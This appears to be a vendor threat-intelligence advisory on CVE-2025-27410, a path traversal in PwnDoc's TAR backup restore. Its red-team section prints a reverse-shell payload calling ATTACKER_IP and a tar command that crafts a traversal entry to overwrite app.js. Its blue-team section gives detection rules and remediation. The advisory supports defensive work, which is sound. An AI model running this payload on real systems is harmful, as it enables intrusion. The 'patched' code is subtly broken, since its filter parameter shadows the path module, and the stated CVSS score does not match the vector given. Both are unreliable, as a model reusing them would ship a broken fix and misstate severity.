CVE-2025-27410

Executive Summary

CVE-2025-27410 is a critical path traversal vulnerability in PwnDoc, a penetration test reporting application. The vulnerability resides in the backup restore functionality, specifically in how the application processes TAR archive entries. An attacker with administrative privileges (specifically the backups:create and backups:update permissions) can craft a malicious TAR file containing entries with path traversal sequences (e.g., ../../../app.js). When the backup is restored, the application extracts these entries without proper validation, allowing the attacker to overwrite arbitrary files on the system. By overwriting a JavaScript file that is executed during application startup or user interaction, the attacker can achieve Remote Code Execution (RCE) with the privileges of the application container. The vulnerability is unpatched in versions prior to 1.2.0, and a fix is available in version 1.2.0.

Supply Chain & Package Security

PwnDoc is a Node.js application. The vulnerability is not in a third-party package but in the application's own backup restore logic. However, the attack vector involves manipulating the backup file, which is a user-supplied artifact. The risk is amplified if backups are shared or stored in insecure locations, as an attacker could replace a legitimate backup with a malicious one.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): High (H) - The attacker must have administrative privileges.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The exploit does not affect other components.
• Confidentiality (C): High (H) - Full file read is possible.
• Integrity (I): High (H) - Arbitrary file overwrite is possible.
• Availability (A): High (H) - System can be rendered inoperable.

Threat Level: High. While the CVSS score is 6.5, the potential for RCE and the fact that it targets a penetration testing tool (which often has elevated privileges) elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) in the backup restore functionality. PwnDoc uses TAR archives for backups. The application extracts the TAR file without sanitizing the entry names. An attacker can create a TAR entry with a name like ../../../app.js. When extracted, this path resolves to a location outside the intended backup directory, overwriting the application's main JavaScript file.

The attack flow:

1. Privilege Requirement: The attacker must have an account with backups:create and backups:update permissions. By default, only administrators have these.
2. Craft Malicious Backup: The attacker creates a TAR file containing a malicious JavaScript payload. The entry name includes path traversal sequences to target a critical file (e.g., app.js, server.js, or a configuration file).
3. Restore Backup: The attacker uses the backup restore functionality to upload and extract the malicious TAR.
4. Trigger Execution: The attacker then triggers a restart of the application (or waits for a natural restart). The overwritten JavaScript file is executed, granting the attacker RCE.

The vulnerability is in the backup.js or similar file that handles the extraction. The code likely uses a function like tar.extract() without checking if the entry name contains .. sequences.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable backup restore function
function restoreBackup(tarFilePath) {
  const tar = require('tar');
  tar.extract({
    file: tarFilePath,
    cwd: '/app/backups' // Intended directory
  });
  // No validation of entry names
}

Patched Code (Conceptual):

// Patched backup restore function
const path = require('path');

function restoreBackup(tarFilePath) {
  const tar = require('tar');
  tar.extract({
    file: tarFilePath,
    cwd: '/app/backups',
    filter: (path, entry) => {
      // Resolve the full path and check it stays within the intended directory
      const fullPath = path.resolve('/app/backups', entry.path);
      return fullPath.startsWith('/app/backups/');
    }
  });
}

The patched version uses a filter option to validate that the resolved path of each entry stays within the intended backup directory. This prevents path traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a PwnDoc instance (version < 1.2.0) with administrative credentials.
• Ability to upload and restore backups.

Exploitation Steps:

1. Create a malicious TAR file:

   # Create a malicious JavaScript file (e.g., revshell.js)
   echo 'require("child_process").exec("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"");' > revshell.js
   
   # Create a TAR archive with a path traversal entry
   tar -cf malicious.tar --transform 's|revshell.js|../../../app.js|' revshell.js
   

2. Upload the malicious backup:

   • Log in to PwnDoc as an administrator.
   • Navigate to the backup/restore section.
   • Upload malicious.tar as a backup file.

3. Restore the backup:

   • Execute the restore operation. This will overwrite /app/app.js with the malicious payload.

4. Trigger execution:

   • Restart the PwnDoc container (e.g., via the admin panel or by waiting for a restart).
   • The malicious app.js will execute, establishing a reverse shell.

Alternative Payload: Instead of a reverse shell, you could overwrite a configuration file to add a new admin user or modify application behavior.

Blue Team

Detection:

• Monitor for unusual backup file uploads, especially from non-admin accounts (though this requires admin privileges).
• Monitor file system changes in the application directory, particularly for JavaScript files.
• Use file integrity monitoring (FIM) to detect unauthorized modifications to critical files.

Prevention:

• Apply the patch by upgrading to PwnDoc version 1.2.0 or later.
• Restrict backup and restore permissions to only essential personnel.
• Implement network segmentation to limit access to the PwnDoc instance.
• Use a Web Application Firewall (WAF) to block requests with path traversal patterns in file uploads.

Hunting:

• Search logs for backup restore events and correlate with file modification alerts.
• Look for TAR files with suspicious entry names (e.g., containing ..).

Indicators of Compromise (IOCs)

• File System:
  • Unexpected modifications to files in the PwnDoc installation directory (e.g., /app/app.js, /app/server.js).
  • Presence of TAR files with entries containing ../ sequences in the backup directory.
• Network:
  • Outbound connections from the PwnDoc container to unknown IP addresses (reverse shell).
  • Unusual HTTP requests to the backup restore endpoint.
• Logs:
  • Log entries showing backup restore operations from unexpected users or times.
  • Application errors after a backup restore (e.g., syntax errors in JavaScript files).

Detection Engineering

YARA Rule

rule CVE_2025_27410_PwnDoc_PathTraversal {
    meta:
        description = "Detects TAR files with path traversal entries targeting PwnDoc"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-27410"
    strings:
        $path_traversal = /\.\.\/[^\/]+\.js/
    condition:
        $path_traversal
}

Sigma Rule

title: PwnDoc Backup Restore Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-27410 by uploading a TAR file with path traversal entries.
author: Valters IT
date: 2025-03-01
logsource:
    category: application
    product: pwnDoc
detection:
    selection:
        EventID: 1001  # Example: Backup restore event
        FileName|contains: '..'
    condition: selection
falsepositives:
    - Legitimate backup files with unusual names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27410 PwnDoc Backup Restore Path Traversal"; flow:to_server; content:"POST"; http_method; content:"/backup/restore"; http_uri; content:"tar"; http_client_body; pcre:"/\.\.\/[^\/]+\.js/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to PwnDoc version 1.2.0 or later.
• If upgrade is not possible, restrict access to the backup restore functionality to only trusted administrators.
• Implement a reverse proxy or WAF to block requests containing path traversal patterns.

Long-term:

• Conduct a security audit of the application's file handling logic.
• Implement input validation for all file uploads and extractions.
• Use a sandboxed environment for file extraction (e.g., Docker with read-only root filesystem).
• Regularly review and update permissions for sensitive operations.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact: threatintel@valtersit.com